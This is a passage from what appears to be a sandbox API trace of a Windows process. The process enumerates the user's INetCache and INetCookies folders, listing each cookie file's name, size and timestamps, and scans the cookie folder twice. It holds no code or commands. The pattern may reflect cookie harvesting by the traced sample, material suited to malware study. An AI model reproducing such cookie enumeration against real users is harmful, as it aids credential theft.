ftLastAccessTime.dwLowDateTime=0xce9337cd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce9337cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.866] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.866] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", lpFilePart=0x0) returned 0x3d [0179.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", lpFilePart=0x0) returned 0x3d [0179.866] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd515a18, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8d444485, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8d444485, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.866] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd515a18, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8d444485, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8d444485, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.866] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x8d444485, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8d444485, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8d444485, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0179.867] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8d444485, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8d444485, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8d444485, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE", cAlternateFileName="")) returned 1 [0179.867] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8d444485, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8d444485, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8d444485, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE", cAlternateFileName="")) returned 0 [0179.867] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", lpFilePart=0x0) returned 0x45 [0179.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", lpFilePart=0x0) returned 0x45 [0179.867] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xcd561ed0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ccdf089, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8ccdf089, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.867] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xcd561ed0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ccdf089, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8ccdf089, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.868] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ccdf089, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8ccdf089, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8ccdf089, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1 [0179.868] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ccdf089, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8ccdf089, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8ccdf089, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 0 [0179.868] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x3b [0179.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x3b [0179.868] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xace8aa06, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xace8aa06, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.869] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xace8aa06, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xace8aa06, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.869] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf08b1bb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xf08b1bb5, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf08b1bb5, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="2TW2FB0X.cookie", cAlternateFileName="2TW2FB~1.COO")) returned 1 [0179.869] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97c1763d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x97c1763d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x97c1763d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x11b, dwReserved0=0x0, dwReserved1=0x0, cFileName="374U3A1K.cookie", cAlternateFileName="374U3A~1.COO")) returned 1 [0179.869] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97b58c47, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x97b58c47, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x97b58c47, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI3PPODN.cookie", cAlternateFileName="BI3PPO~1.COO")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xdf9f05df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdf9f05df, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdf9f05df, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x433e08f7, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x433e08f7, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNTException", cAlternateFileName="DNTEXC~1")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ce722ba, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8ce722ba, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8ce722ba, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWJUGATK.cookie", cAlternateFileName="GWJUGA~1.COO")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xacddadd7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xacddadd7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xacddadd7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="JESBACFH.cookie", cAlternateFileName="JESBAC~1.COO")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a303509, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a303509, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a303509, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Q60DYF.cookie", cAlternateFileName="L2Q60D~1.COO")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc83b6f59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x904e9952, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x904e9952, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x904e9952, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="P9JHL0AF.cookie", cAlternateFileName="P9JHL0~1.COO")) returned 1 [0179.870] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0179.871] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x651fe40, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x651fe40, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x651fe40, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="T0ICIWVP.cookie", cAlternateFileName="T0ICIW~1.COO")) returned 1 [0179.871] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8faedb8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8faedb8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8faedb8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TDJT1R5W.cookie", cAlternateFileName="TDJT1R~1.COO")) returned 1 [0179.871] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x651fe40, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x651fe40, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x651fe40, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="UBHR6PKO.cookie", cAlternateFileName="UBHR6P~1.COO")) returned 1 [0179.871] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90109c21, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x90109c21, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x90109c21, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXBG6NYW.cookie", cAlternateFileName="ZXBG6N~1.COO")) returned 1 [0179.871] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.871] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.872] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x3b [0179.872] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xace8aa06, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xace8aa06, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.873] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xace8aa06, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xace8aa06, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.873] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf08b1bb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xf08b1bb5, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf08b1bb5, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="2TW2FB0X.cookie", cAlternateFileName="2TW2FB~1.COO")) returned 1 [0179.873] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97c1763d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x97c1763d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x97c1763d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x11b, dwReserved0=0x0, dwReserved1=0x0, cFileName="374U3A1K.cookie", cAlternateFileName="374U3A~1.COO")) returned 1 [0179.873] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97b58c47, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x97b58c47, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x97b58c47, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI3PPODN.cookie", cAlternateFileName="BI3PPO~1.COO")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xdf9f05df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdf9f05df, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdf9f05df, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x433e08f7, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x433e08f7, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNTException", cAlternateFileName="DNTEXC~1")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ce722ba, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8ce722ba, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8ce722ba, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWJUGATK.cookie", cAlternateFileName="GWJUGA~1.COO")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xacddadd7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xacddadd7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xacddadd7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="JESBACFH.cookie", cAlternateFileName="JESBAC~1.COO")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a303509, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a303509, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a303509, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Q60DYF.cookie", cAlternateFileName="L2Q60D~1.COO")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc83b6f59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x904e9952, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x904e9952, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x904e9952, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, 